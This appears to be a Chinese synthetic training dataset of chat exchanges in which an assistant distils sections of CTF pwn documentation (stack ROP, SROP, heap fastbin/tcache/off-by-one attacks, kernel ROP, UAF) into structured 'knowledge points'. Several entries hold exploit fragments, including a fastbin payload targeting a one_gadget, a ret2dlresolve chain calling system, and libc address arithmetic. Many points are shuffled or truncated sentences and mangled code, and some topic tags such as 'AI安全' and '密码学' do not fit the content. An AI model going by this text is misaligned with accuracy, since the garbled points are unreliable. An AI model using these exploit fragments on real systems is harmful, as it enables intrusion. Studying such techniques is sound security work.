[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：基本 ROP > ret2shellcode > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限。
- 需要注意的是，在新版内核当中引入了较为激进的保护策略，程序中通常不再默认有同时具有可写与可执行的段，这使得传统的 ret2shellcode 手法不再能直接完成利用。
- 通常情况下，shellcode 需要我们自行编写，即此时我们需要自行向内存中填充一些可执行的代码。
- shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。
- ret2shellcode，即控制程序执行 shellcode 代码。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「配置编译选项」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`
标题：内核源码下载与编译
章节：内核源码下载与编译 > 配置编译选项
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“配置编译选项”展开。
- 在正式进行内核源码编译之前，我们还需要准备一份编译选项，其包含了内核编译相关的配置，通常存放于源码目录下的 .config 文件中。
- 通常情况下，我们在内核源码目录下使用如下命令进入图形化的内核配置面板， 这也是最常用的内核配置方法 ，其会读取 .config 文件的配置并允许我们在图形化的界面中进行修改，并在该文件不存在时则是会调用 make defconfig 先生成一份默认配置： > 需要注意，图形化配置界面依赖于 ncurses 库，这通常可以从你的发行版仓库安装。
- 不过我们不需要从零开始手动编写，而是可以通过内核的编译配置系统进行动态生成。

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- environment
- code:shell

代码/命令片段线索：
- shell: 1 行，首行 `$ make menuconfig`
- shell: 1 行，首行 `$ make defconfig`
- shell: 1 行，首行 `$ make config`
- shell: 2 行，首行 `$ make localyesconfig # 将驱动编译到内核当中`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

配置编译选项

内核源码下载与编译 配置编译选项

AI安全 pwn linux kernel-mode environment code:shell

内核源码下载与编译


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`
标题：SROP
章节：SROP > 基本介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本介绍”展开。
- SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出，其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议Oakland 2014上，被评选为当年的Best Student Papers。
- 其中相关的paper以及slides的链接如下： paper slides 其中，sigreturn是一个系统调用，在类unix系统发生signal的时候会被间接地调用。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本介绍

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

SROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「内核栈 与通用 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`
标题：利用 pt\_regs 构造通用内核 ROP
章节：利用 pt\_regs 构造通用内核 ROP > 内核栈 与通用 ROP
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“内核栈 与通用 ROP”展开。
- 而在系统调用当中过程有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到： - 只需要寻找到一条形如 "add rsp, val ;
- ret" 的 gadget 便能够完成 ROP 这里笔者给出一个通用的 ROP 板子，方便调试时观察： ``c asm volatile( "mov r15, 0xbeefdead;
- 我们都知道，内核栈只有一个页面的大小，而 pt\_regs 结构体则固定位于内核栈栈底，当我们劫持内核结构体中的某个函数指针时（例如 seq\_operations->start），在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。
- " // 这里假定通过 seq_operations->stat 来触发 "syscall" );

关键术语：
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 18 行，首行 `asm volatile(`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

内核栈 与通用 ROP

利用 pt\_regs 构造通用内核 ROP
内核栈 与通用 ROP

栈 ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation code:c

利用 pt\_regs 构造通用内核 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「off-by-one 利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：堆中的 Off-By-One > off-by-one 利用思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“off-by-one 利用思路”展开。
- 也可使用 NULL 字节溢出的方法 2. 溢出字节为 NULL 字节：在 size 为 0x100 的时候，溢出 NULL 字节可以使得 prev_in_use 位被清，这样前块会被认为是 free 块。
- 1. 溢出字节为可控制任意字节：通过修改大小造成块结构之间出现重叠，从而泄露其他块数据，或是覆盖其他块数据。
- （2） 另外，这时 prev_size 域就会启用，就可以伪造 prev_size ，从而造成块之间发生重叠。
- （1） 这时可以选择使用 unlink 方法（见 unlink 部分）进行处理。
- prev_inuse(p)) { prevsize = prev_size (p);

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 10 行，首行 `/* consolidate backward */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

off-by-one 利用思路

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「fast bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`
标题：释放内存块
章节：释放内存块 > _int_free > fast bin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“fast bin”展开。
- = av->top) #endif ) { // 下一个chunk的大小不能小于两倍的SIZE_SZ,并且 // 下一个chunk的大小不能大于system_mem， 一般为132k // 如果出现这样的情况，就报错。
- Redo the test after getting the lock. / if (have_lock || ({ assert(locked == 0);
- chunksize_nomask(chunk_at_offset(p, size)) <= 2 SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
- })) { errstr = "free(): invalid next size (fast)";
- have_lock) { __libc_lock_unlock(av->mutex);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 78 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

fast bin

释放内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct ropchain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct ropchain
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct ropchain”展开。
- 如下面的 ropchain 所示，0x40 处多了两个 a，比较奇怪。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `需要注意的是，这里我把 /bin/sh 的偏移修改为了 base_stage+82，这是因为 pwntools 会对齐字符串。如下面的 ropchain 所示，0x40 处多了两个 a，比较奇怪。`
- plain: 1 行，首行 `效果如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct ropchain

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「mmap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`
标题：堆概述
章节：堆概述 > 堆的基本操作 > 内存分配背后的系统调用 > mmap
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 例子 ``c++ / Private anonymous mapping example using mmap syscall / #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> void static inline errExit(const char msg) { p...
- } int main() { int ret = -1;
- if (addr == MAP_FAILED) errExit("mmap");
- } ` 在执行mmap之前 我们可以从下面的输出看到，目前只有.so文件的mmap段。
- 匿名映射的目的主要是可以申请以0填充的内存，并且这块内存仅被调用进程所使用。
- printf("Welcome to private anonymous mapping example::PID:%d\n", getpid());

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c++
- code:shell

代码/命令片段线索：
- c++: 33 行，首行 `/* Private anonymous mapping example using mmap syscall */`
- shell: 7 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps`
- shell: 7 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps`
- shell: 7 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

mmap

堆概述 堆的基本操作 内存分配背后的系统调用 mmap

堆 AI安全 pwn linux user-mode heap code:c++ code:shell

堆概述


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`
标题：Cross-Cache UAF
章节：Cross-Cache UAF > 例题： kbook > 题目分析
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“题目分析”展开。
- 题目给了一个 kbook.ko ，允许用户获取“书籍”并写入“页面”，一共有 0x20 本“书”，每本“书”有 0x20 个“页面”，每个“页面”大小为 1024,分配于独立的 kmem_cache 中 漏洞存在于释放页面时未清空指针从而造成 UAF，导致可以对已释放的页面进行读写： ``c __int64 __fastcall kbook_ioctl(__int64 a1, int a2, unsigned __int64 a3) { void v4;
- if ( a2 == 0x1919810 ) { if ( a3 >= 0x20 ) { LABEL_12: v4 = &unk_7DC;
- if ( v5 ) { if ( bookshelf[33 v5 + a3] ) kfree();
- } if ( a2 == 0x514 ) { if ( a3 >= 0x20 ) goto LABEL_12;
- } if ( (_QWORD )(a1 + 200) ) { v4 = &unk_767;

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 79 行，首行 `__int64 __fastcall kbook_ioctl(__int64 a1, int a2, unsigned __int64 a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目分析

UAF 堆 漏洞利用 pwn linux kernel-mode exploitation code:c

Cross-Cache UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md`
标题：House of Orange
章节：House of Orange > 示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 但是当我们执行这个示例时会发现，这个程序并不能利用成功，原因在于assert并没有被满足从而抛出了异常。
- 这里给出了一个示例程序，程序模拟了一个溢出覆盖到top chunk的size域。
- `` #include <stdlib.h> #define fake_size 0x41 int main(void) { void ptr;
- // overwrite top chunk size malloc(0x60);
- 我们试图把size改小从而实现brk扩展，并把原有的top chunk放入unsorted bin中。
- ptr=(void )((long long)ptr+24);

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 11 行，首行 `#include <stdlib.h>`
- plain: 4 行，首行 `[#0] 0x7ffff7a42428 → Name: __GI_raise(sig=0x6)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

示例

边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap

House of Orange


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「edit idx4's fd point to fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：edit idx4's fd point to fake chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“edit idx4's fd point to fake chunk”展开。
- fake_chunk_addr = main_arena - 0x33 fake_chunk = p64(fake_chunk_addr) fill(2, len(fake_chunk), fake_chunk) allocate(0x60) # idx 4 allocate(0x60) # idx 6 one_gadget_addr = libc_base + 0x4526a payload = 0x13 * 'a' + p64(one_gadget_addr) fill(6, len(payload),...

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

edit idx4's fd point to fake chunk

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache dup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache dup
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“tcache dup”展开。
- 类似 fastbin dup，不过利用的是 tcache_put() 的不严谨 ``C static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry e = (tcache_entry ) chunk2mem (chunk);
- — push r15 RIP 0x5555555547fc (main+162) ?
- ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfb0 —?
- 0x7ffff7a3fa87 (__libc_start_main+231) ?
- } ` 可以看出，tcache_put() 的检查也可以忽略不计（甚至没有对 tcache->counts[tc_idx] 的检查），大幅提高性能的同时安全性也下降了很多。

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c
- code:asm

代码/命令片段线索：
- C: 9 行，首行 `static __always_inline void`
- C: 27 行，首行 `glibc_2.26 [master●] bat ./tcache_dup.c`
- asm: 70 行，首行 `pwndbg> n`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache dup

define TCACHE_FILL_COUNT 7
0x03 Pwn Tcache
tcache dup

堆 栈 AI安全 漏洞利用 pwn linux user-mode heap code:c code:asm

tcache makes heap exploitation easy again


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「IOMMU」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`
标题：IO 虚拟化
章节：IO 虚拟化 > IOMMU
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- [图片文件: ./figure/iommu.png] IOMMU 通常被集成于北桥中，其提供面向设备端的两个功能： - DMA 重映射（ DMA remapping）：有着 DMA 功能的设备可以使用虚拟地址，通过 IOMMU 转换为物理地址进行直接内存访问。
- IOMMU 即 Input/Output Memory Management Unit，其功能类似于 CPU 中的 MMU，是一个向设备侧提供地址翻译功能的单元。
- 中断重映射（Interrupt remapping）：IOMMU 会拦截设备产生的中断，根据中断重映射表产生新的中断请求发送给 LAPIC。
- [图片文件: ./figure/dma_intr_remap.png]

关键术语：
- pwn
- virtualization
- basic-knowledge
- io-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IOMMU

pwn virtualization basic-knowledge io-virtualization.md

IO 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「6. calcuate the system's addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：6. calcuate the system's addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“6. calcuate the system's addr”展开。
- libcstart = ret.split('.')[10] libcstart_2 = int(libcstart,16) - libcstartmain_ret_off print 'libc start addr:',hex(libcstart_2) system_addr = libcstart_2 + sys_off print 'system_addr:',hex(system_addr)

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

6. calcuate the system's addr

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location”展开。
- rop = ROP("./main_partial_relro_64") offset = 112+8 rop.raw(offset'\x00') resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, "system",elf.got["write"]) rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh))) rop.raw(vuln_addr...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「编译阶段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`
标题：FGKASLR
章节：FGKASLR > 实现 > 编译阶段
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“编译阶段”展开。
- FGKASLR 利用 gcc 的编译选项 -ffunction-sections 把内核中不同的函数放到不同的 section 中。
- 通过这两组信息，内核在解压缩后就可以乱序排列函数。
- 在编译的过程中，任何使用 C 语言编写的函数以及不在特殊输入节的函数都会单独作为一个节；
- 编译后的 vmlinux 保留了所有的节区头（Section Headers），以便于知道每个函数的地址范围。
- 最后的 binary 的第一个段包含了一个合并节（由若干个函数合并而成）、以及若干其它单独构成一个节的函数。

关键术语：
- 漏洞利用
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

编译阶段

FGKASLR


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「跳表修复」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`
标题：House of Pig
章节：House of Pig > 例题 > XCTF-FINAL-2021 house of pig > 跳表修复
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“跳表修复”展开。
- 拿到题目，直接 F5 的话可能会出现 __asm{ jmp rax } 这样的指令 [图片文件: ./figure/jmp-rax.png] 这是 switch 的跳表结构未被 IDA 识别造成的，导致了大量代码丢失，通过 IDA 的 Edit->Other 中的 Specify switch idiom 功能可以实现修复，对于此程序应该使用的参数为 [图片文件: ./figure/switch-fix.png] 然后就可以识别出 switch 了。

关键术语：
- 堆
- 修复/缓解
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

跳表修复

House of Pig
例题
XCTF-FINAL-2021 house of pig
跳表修复

House of Pig


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：from pwn import * > Challenge 4 : HITCON 2019 one_punch_man > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- 开启了常见保护，题目环境为 glibc 2.29 ，使用 seccomp 开启了沙箱保护，只有白名单上的系统调用可以使用。
- = rt_sigreturn) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A !
- = exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A !
- = exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000002 if (A !
- = open) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000000 if (A !

关键术语：
- 堆
- 栈
- 密码学
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:bash

代码/命令片段线索：
- bash: 37 行，首行 `╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master›`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

from pwn import *
Challenge 4 : HITCON 2019 one_punch_man
基本信息

堆 栈 密码学 漏洞利用 pwn linux user-mode heap code:bash


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「2018-XNUCA-gets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：context.log_level = "debug" > 2018-XNUCA-gets
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“2018-XNUCA-gets”展开。
- } `` 程序就这么小，很明显有一个栈溢出的漏洞，然而没有任何 leak。
- 这个题目也挺有意思的，如下 ``c __int64 __fastcall main(__int64 a1, char a2, char a3) { char v4;
- // [rsp+0h] [rbp-18h] gets((char )&v4);

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:c

代码/命令片段线索：
- c: 6 行，首行 `__int64 __fastcall main(__int64 a1, char **a2, char **a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

2018-XNUCA-gets

